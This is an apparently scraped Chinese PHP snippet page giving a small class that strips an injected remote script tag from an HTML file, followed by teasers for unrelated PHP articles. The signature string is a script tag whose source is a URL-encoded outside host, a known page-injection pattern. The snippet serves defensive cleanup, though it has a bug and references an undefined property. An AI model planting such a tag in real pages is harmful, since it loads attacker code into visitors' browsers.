php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php事件驱动化设计详解

本文实例讲述了php事件驱动化设计。分享给大家供大家参考,具体如下: 最近在做一个需要用到异步php的项目, 翻阅php源码的时候,发现了三个没有用过的模块,sysvsem,sysvsh...

浅谈php(codeigniter)安全性注意事项

1、httponly session一定要用httponly的否则可能被xxs攻击,利用js获取cookie的session_id。 要用框架的ci_session,更长的位数,http...

php 禁止页面缓存输出

复制代码 代码如下:<?php header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Last-Modified: '...

php smarty模版引擎中的缓存应用

1,Smarty缓存的配置: 复制代码 代码如下:$smarty->cache-dir="目录名"; //创建缓存目录名 $smarty->caching=true; //开...

php设计模式 Decorator(装饰模式)

复制代码 代码如下: <?php /** * 装饰模式 * * 动态的给一个对象添加一些额外的职责,就扩展功能而言比生成子类方式更为灵活 */ header("Content-ty...